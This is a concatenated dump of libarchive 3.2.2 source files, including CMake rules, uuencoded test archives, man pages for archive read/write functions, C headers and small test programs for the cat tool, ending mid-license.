INCLUDE_DIRECTORIES(${PROJECT_SOURCE_DIR}/test_utils) 22 | INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR}/../libarchive_fe) 23 | IF(WIN32 AND NOT CYGWIN) 24 | LIST(APPEND bsdcpio_SOURCES cpio_windows.c) 25 | LIST(APPEND bsdcpio_SOURCES cpio_windows.h) 26 | ENDIF(WIN32 AND NOT CYGWIN) 27 | 28 | # bsdcpio documentation 29 | SET(bsdcpio_MANS bsdcpio.1) 30 | 31 | # How to build bsdcpio 32 | ADD_EXECUTABLE(bsdcpio ${bsdcpio_SOURCES}) 33 | IF(ENABLE_CPIO_SHARED) 34 | TARGET_LINK_LIBRARIES(bsdcpio archive ${ADDITIONAL_LIBS}) 35 | ELSE(ENABLE_CPIO_SHARED) 36 | TARGET_LINK_LIBRARIES(bsdcpio archive_static ${ADDITIONAL_LIBS}) 37 | SET_TARGET_PROPERTIES(bsdcpio PROPERTIES COMPILE_DEFINITIONS 38 | LIBARCHIVE_STATIC) 39 | ENDIF(ENABLE_CPIO_SHARED) 40 | 41 | # Installation rules 42 | INSTALL(TARGETS bsdcpio RUNTIME DESTINATION bin) 43 | INSTALL_MAN(${bsdcpio_MANS}) 44 | 45 | ENDIF(ENABLE_CPIO) 46 | 47 | # Test suite 48 | add_subdirectory(test) 49 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_encryption_data.zip.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_read_format_zip_encryption_data.zip 2 | M4$L#!#,`00```*UI,4/H*IFA5@$``!0````'````8F%R+G1X=!``2#/PIQFT 3 | M*F$4U*$#L8[-?B`!```#`!!F``$!`)``[SL/J;#"+JV#-X^_V7R?(/NINR^)*Z@-`+PM+G'_/G,@= 5 | MOQI>T\*I"7FDH^[+/([/S3(S=2JR^B1VT7NV=\PU*ILZ(S-9P@#K>HTK<9$X 6 | MG?3>):QUHT4^7JY*;B_X.,6FCSB0]-;K-:!W"\9#7%JT`````(``I>M3N%RW 7 | MKHT3'HV+V7'\SG*),5W`7P-"J01^*X5F-K&;`\FXL%S[!!"J1 8 | M?4B:)(8&4)C/_^4!TF+`7W`%52=)VJ9U?3H,W@"9S8062TGSY_<:.\=X_SCC 9 | M1?,I!IE@=&J39?KX5+0Y\Y`;^.[MR@]TB?WG-.D/]RONSJ(6 10 | MMAL3^^^V;)?](;*EA#%$TN]?2U!+`P0S`$$```"J:3%#_\P&4E8!```4```` 11 | M!P```&9O;RYT>'00`(N/OW)U+.F;D#0D]']<[0I5,5G^P3D\Q/LN'ME\GR#[J;LOB2NH 13 | M#7-Y7/%J"13'@"\+2YQ_SYS(';\:7M/"J0EYI*/NRSR.S\TR,W4JLOHD=M%[ 14 | MMG?,-2J;.B,S6<(`ZWJ-*W&1.)WTWB6L=:-%/EZN2FXO^#C%IH\XD/36ZS6@ 15 | M=PO&0UQ:M`````"``".OX15'_!K.OGAW6+M]C;[G8@26,FBSB&/46Q@#[301 16 | M`"51%C)3[11_TP#)7O_6`&/F?FGG]G9;W.L$";H2&[ 17 | ML$PNS#NDG9Q@BFL$`&S?S3;,D#OS#% 18 | MZ>O6I=M41I^&XX"JLTTKLW]*B=+>(C]+6]H**#DX_EJ;9BBY;,=02P$"0``S 19 | M`$$```"M:3%#Z"J9H58!```4````!P`T```````!`"``````````8F%R+G1X 20 | M=`H`(````````0`8`".@Q.V6L\X!(Z#$[9:SS@$CH,3MEK/.`1<`#``"`!!F 21 | M``$!``````!02P$"0``S`$$```"J:3%#_\P&4E8!```4````!P`T```````! 22 | M`"````![`0``9F]O+G1X=`H`(````````0`8`"4C6.F6L\X!)2-8Z9:SS@$E 23 | M(UCIEK/.`1<`#``"`!!F``$!``````!02P4&``````(``@#2````]@(````` 24 | ` 25 | end 26 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveWriteFinishEntry3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_FINISH_ENTRY(3) manual page 2 | == NAME == 3 | '''archive_write_finish_entry''' 4 | - functions for creating archives 5 | == LIBRARY == 6 | Streaming Archive Library (libarchive, -larchive) 7 | == SYNOPSIS == 8 | '''#include ''' 9 |
10 | ''int'' 11 |
12 | '''archive_write_finish_entry'''(''struct archive *''); 13 | == DESCRIPTION == 14 | Close out the entry just written. 15 | In particular, this writes out the final padding required by some formats. 16 | Ordinarily, clients never need to call this, as it 17 | is called automatically by 18 | '''archive_write_header'''() 19 | and 20 | '''archive_write_close'''() 21 | as needed. 22 | == RETURN VALUES == 23 | This function returns 24 | '''ARCHIVE_OK''' 25 | on success, or one of several non-zero 26 | error codes for errors. 27 | Specific error codes include: 28 | '''ARCHIVE_RETRY''' 29 | for operations that might succeed if retried, 30 | '''ARCHIVE_WARN''' 31 | for unusual conditions that do not prevent further operations, and 32 | '''ARCHIVE_FATAL''' 33 | for serious errors that make remaining operations impossible. 34 | == ERRORS == 35 | Detailed error codes and textual descriptions are available from the 36 | '''archive_errno'''() 37 | and 38 | '''archive_error_string'''() 39 | functions. 40 | == SEE ALSO == 41 | [[ManPageBsdtar1]], 42 | [[ManPageibarchive3]], 43 | [[ManPagerchiveriteata3]], 44 | [[ManPagerchiveriteetptions3]], 45 | [[ManPageCpio5]], 46 | [[ManPageMtree5]], 47 | [[ManPageTar5]] 48 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_iso.iso.Z.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_read_format_iso.iso.Z.uu 201247 2009-12-30 05:59:21Z kientzle $ 2 | 3 | begin 644 test_read_format_iso.iso.Z 4 | M'YV0``(*'$BPH,&#"!,J7,BPH<.'$"-*G$BQHL6+&#-JW,BQH\>/($.*'$FR 5 | MI,F3*%.J7,FRIO8,.*'4NVK-FS:-.J7//JW/'D"-+GDRYLN7+F#-KWLRY 8 | ML^?/H$.+'DVZM.G3J%.K7LVZM>O7L&/+GDV[MNW;N'/KWLV[M^_?P(,+'TZ\ 9 | MN/'CR),K7\Z\N?/GT*-+GTZ]NO7KV+-KW\Z]N_?OX,.+'T^^O/GSZ-.K7\^^ 10 | MO?OW\./+GT^_OOW[^//KW\^_O_^_`0Q!!`PPQ!```$;(44890DQ!!`@01BCA 11 | MA!1***`43S11X88<1G@0#`6!Z-&!``1`XH$((`"``@4I,$%"%0PD`@`7%%2C 12 | MB@*IF,8"!UR``0O@"!#0B0=V:.212":IY)),-NGDDU!&*>645%9IY952-K%$ 13 | M$E,\8<04('#Y!`@YV&`##"\@\24(1B3!1!%39#$%%45H*$05;A)1A!0@F`#" 14 | MA44,\804#PK8@A0O$&%%H5(4$005@X*`PA`I@!!##CG,`$(1+F3Q1!5.'$%$ 15 | M$&]*2JFEF-X`@A(N0.&H%%TZ\0*K4PR!A)M,)!$JEKSVRJL,!-800PPPW"## 16 | M##+04,,-!((#+`S"$FLLLLHR"P,X!&:K[;8$`O!LM,4>F^RRS1;IZ[GHIJON 17 | MNNRVZ^Z[\,8K+Y/_U;O8/P(2:*"]_/;K[[\`!UR=EDF`T,0;;H#@Q!MV0*CJ 18 | ML3HDJ\.R('RK0!MKI#''&V;,4;$+,+B@:0MO@$!'&7/0T8*"89#QA1EOR-%& 19 | M&'2XH'')80BL\\X\]^SSSV<=6..00!=M]-%()ZWTTDPW[?334$?=&XD!U4BU 20 | MU%AGK?767'?M]==@ARWVV%K/./1`-PZD(X\^`BEDB4,>:+:-`.`8T-H]_A@D 21 | MT26:2/;?@`N^>:<=^[Y 22 | MYZ"'+OKHI)=N^NFHIZ[ZZJRW[OKKL,O_/+,-^_\\]!'+_WTU%=O_?789Z_]]MQW[_WWX(BGK_[Z[+?O_OOPQR___/37;__]^.>O__[\]^___P`,H``'2,`"&O"`]`,` 25 | ` 26 | end 27 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_gcpio_compat_ref.crc.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD$ 2 | begin 644 test_gcpio_compat_ref.crc 3 | M,#\fP 12 | .br 13 | \fIint\fP 14 | .br 15 | \fB\%archive_write_finish_entry\fP(\fI\%struct\ archive\ *\fP); 16 | .SH DESCRIPTION 17 | .ad l 18 | Close out the entry just written. 19 | In particular, this writes out the final padding required by some formats. 20 | Ordinarily, clients never need to call this, as it 21 | is called automatically by 22 | \fB\%archive_write_header\fP() 23 | and 24 | \fB\%archive_write_close\fP() 25 | as needed. 26 | .SH RETURN VALUES 27 | .ad l 28 | This function returns 29 | \fBARCHIVE_OK\fP 30 | on success, or one of several non-zero 31 | error codes for errors. 32 | Specific error codes include: 33 | \fBARCHIVE_RETRY\fP 34 | for operations that might succeed if retried, 35 | \fBARCHIVE_WARN\fP 36 | for unusual conditions that do not prevent further operations, and 37 | \fBARCHIVE_FATAL\fP 38 | for serious errors that make remaining operations impossible. 39 | .SH ERRORS 40 | .ad l 41 | Detailed error codes and textual descriptions are available from the 42 | \fB\%archive_errno\fP() 43 | and 44 | \fB\%archive_error_string\fP() 45 | functions. 46 | .SH SEE ALSO 47 | .ad l 48 | \fBtar\fP(1), 49 | \fBlibarchive\fP(3), 50 | \fBarchive_write_data\fP(3), 51 | \fBarchive_write_set_options\fP(3), 52 | \fBcpio\fP(5), 53 | \fBmtree\fP(5), 54 | \fBtar\fP(5) 55 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_gcpio_compat_ref.newc.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD$ 2 | begin 644 test_gcpio_compat_ref.newc 3 | M,#test.out 2>test.err", testprog, reffile)); 33 | 34 | assertEmptyFile("test.out"); 35 | assertNonEmptyFile("test.err"); 36 | } 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/test_utils/test_utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2003-2012 Tim Kientzle 3 | * Copyright (c) 2012 Andres Mejia 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 15 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 16 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 17 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 18 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 19 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 20 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 21 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 22 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 24 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TEST_UTILS_H 28 | #define TEST_UTILS_H 29 | 30 | struct test_list_t 31 | { 32 | void (*func)(void); 33 | const char *name; 34 | int failures; 35 | }; 36 | 37 | int get_test_set(int *, int, const char *, struct test_list_t *); 38 | 39 | #endif /* TEST_UTILS_H */ 40 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive_fe/line_reader.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2009 Joerg Sonnenberger 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | 26 | #ifndef LAFE_LINE_READER_H 27 | #define LAFE_LINE_READER_H 28 | 29 | struct lafe_line_reader; 30 | 31 | struct lafe_line_reader *lafe_line_reader(const char *, int nullSeparator); 32 | const char *lafe_line_reader_next(struct lafe_line_reader *); 33 | void lafe_line_reader_free(struct lafe_line_reader *); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/archive_getdate.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2015 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | * 25 | * $FreeBSD$ 26 | */ 27 | 28 | #ifndef __LIBARCHIVE_BUILD 29 | #error This header is only to be used internally to libarchive. 30 | #endif 31 | 32 | #ifndef ARCHIVE_GETDATE_H_INCLUDED 33 | #define ARCHIVE_GETDATE_H_INCLUDED 34 | 35 | #include 36 | 37 | time_t __archive_get_date(time_t now, const char *); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/FindLZMA.cmake: -------------------------------------------------------------------------------- 1 | # - Find lzma and lzmadec 2 | # Find the native LZMA includes and library 3 | # 4 | # LZMA_INCLUDE_DIR - where to find lzma.h, etc. 5 | # LZMA_LIBRARIES - List of libraries when using liblzma. 6 | # LZMA_FOUND - True if liblzma found. 7 | # LZMADEC_INCLUDE_DIR - where to find lzmadec.h, etc. 8 | # LZMADEC_LIBRARIES - List of libraries when using liblzmadec. 9 | # LZMADEC_FOUND - True if liblzmadec found. 10 | 11 | IF (LZMA_INCLUDE_DIR) 12 | # Already in cache, be silent 13 | SET(LZMA_FIND_QUIETLY TRUE) 14 | ENDIF (LZMA_INCLUDE_DIR) 15 | 16 | FIND_PATH(LZMA_INCLUDE_DIR lzma.h) 17 | FIND_LIBRARY(LZMA_LIBRARY NAMES lzma liblzma) 18 | 19 | # handle the QUIETLY and REQUIRED arguments and set LZMA_FOUND to TRUE if 20 | # all listed variables are TRUE 21 | INCLUDE(FindPackageHandleStandardArgs) 22 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(LZMA DEFAULT_MSG LZMA_LIBRARY LZMA_INCLUDE_DIR) 23 | 24 | IF(LZMA_FOUND) 25 | SET( LZMA_LIBRARIES ${LZMA_LIBRARY} ) 26 | ELSE(LZMA_FOUND) 27 | SET( LZMA_LIBRARIES ) 28 | 29 | IF (LZMADEC_INCLUDE_DIR) 30 | # Already in cache, be silent 31 | SET(LZMADEC_FIND_QUIETLY TRUE) 32 | ENDIF (LZMADEC_INCLUDE_DIR) 33 | 34 | FIND_PATH(LZMADEC_INCLUDE_DIR lzmadec.h) 35 | FIND_LIBRARY(LZMADEC_LIBRARY NAMES lzmadec ) 36 | 37 | # handle the QUIETLY and REQUIRED arguments and set LZMADEC_FOUND to TRUE if 38 | # all listed variables are TRUE 39 | INCLUDE(FindPackageHandleStandardArgs) 40 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(LZMADEC DEFAULT_MSG LZMADEC_LIBRARY 41 | LZMADEC_INCLUDE_DIR) 42 | 43 | IF(LZMADEC_FOUND) 44 | SET( LZMADEC_LIBRARIES ${LZMADEC_LIBRARY} ) 45 | ELSE(LZMADEC_FOUND) 46 | SET( LZMADEC_LIBRARIES ) 47 | ENDIF(LZMADEC_FOUND) 48 | ENDIF(LZMA_FOUND) 49 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_expand_Z.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Mike Kazantsev 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | 27 | DEFINE_TEST(test_expand_Z) 28 | { 29 | const char *reffile = "test_expand.Z"; 30 | 31 | extract_reference_file(reffile); 32 | assertEqualInt(0, systemf("%s %s >test.out 2>test.err", testprog, reffile)); 33 | 34 | assertTextFileContents("contents of test_expand.Z.\n", "test.out"); 35 | assertEmptyFile("test.err"); 36 | } 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_expand_plain.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Mike Kazantsev 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | 27 | DEFINE_TEST(test_expand_plain) 28 | { 29 | const char *reffile = "test_expand.plain"; 30 | 31 | extract_reference_file(reffile); 32 | assertEqualInt(0, systemf("%s %s >test.out 2>test.err", testprog, reffile)); 33 | 34 | assertTextFileContents("contents of test_expand.plain.\n", "test.out"); 35 | assertEmptyFile("test.err"); 36 | } 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/archive_random_private.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Michihiro NAKAJIMA 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | 26 | #ifndef __LIBARCHIVE_BUILD 27 | #error This header is only to be used internally to libarchive. 28 | #endif 29 | 30 | #ifndef ARCHIVE_RANDOM_PRIVATE_H_INCLUDED 31 | #define ARCHIVE_RANDOM_PRIVATE_H_INCLUDED 32 | 33 | /* Random number generator. */ 34 | int archive_random(void *buf, size_t nbytes); 35 | 36 | #endif /* ARCHIVE_RANDOM_PRIVATE_H_INCLUDED */ 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_lzop_1.tar.lzo.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_compat_lzop_1.tar.lzo 2 | MB4Q:3P`-"AH*$#`@8`E``04#```!``"!M%"`FEX`````%G1E2`H82?@"@-F'4"+"!T;PJL!`-W:71H(%AH 22 | M;6!T!$UA8R!/4RQT%@$@8V%N)X`&+',,86YDO#.4(0(@+4<@(H0(`2(@?B\H 23 | M;`D`#2UD;W=N;&]A9"UD:7(O"E1H92!R97-U;'0@=VEL;"!P=01P<')O<')I 24 | M8"A\(I0F`BP@?!\#('1O;VPND!`!9&5F8780;VXP.Q$@:7-L 26 | M*<0K`V4@36%K98P.=!)U(@IW(F%L 12 | 13 | int 14 | archive_read_next_header(struct archive *, struct archive_entry **); 15 | 16 | int 17 | archive_read_next_header2(struct archive *, struct archive_entry *); 18 | 19 | DESCRIPTION 20 | archive_read_next_header() 21 | Read the header for the next entry and return a pointer to a 22 | struct archive_entry. This is a convenience wrapper around 23 | archive_read_next_header2() that reuses an internal struct 24 | archive_entry object for each request. 25 | archive_read_next_header2() 26 | Read the header for the next entry and populate the provided 27 | struct archive_entry. 28 | 29 | RETURN VALUES 30 | These functions return ARCHIVE_OK (the operation succeeded), ARCHIVE_WARN 31 | (the operation succeeded but a non-critical error was encountered), 32 | ARCHIVE_EOF (end-of-archive was encountered), ARCHIVE_RETRY (the opera‐ 33 | tion failed but can be retried), and ARCHIVE_FATAL (there was a fatal 34 | error; the archive should be closed immediately). 35 | 36 | ERRORS 37 | Detailed error codes and textual descriptions are available from the 38 | archive_errno() and archive_error_string() functions. 39 | 40 | SEE ALSO 41 | tar(1), libarchive(3), archive_read(3), archive_read_data(3), 42 | archive_read_extract(3), archive_read_filter(3), archive_read_format(3), 43 | archive_read_open(3), archive_read_set_options(3), archive_util(3), 44 | tar(5) 45 | 46 | BSD February 2, 2012 BSD 47 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_empty_xz.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Sebastian Freundt 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | */ 25 | #include "test.h" 26 | 27 | DEFINE_TEST(test_empty_xz) 28 | { 29 | const char *reffile = "test_empty.xz"; 30 | int f; 31 | 32 | extract_reference_file(reffile); 33 | f = systemf("%s %s >test.out 2>test.err", testprog, reffile); 34 | if (f == 0 || canXz()) { 35 | assertEqualInt(0, f); 36 | assertEmptyFile("test.out"); 37 | assertEmptyFile("test.err"); 38 | } else { 39 | skipping("It seems xz is not supported on this platform"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_empty_gz.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2014 Sebastian Freundt 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN 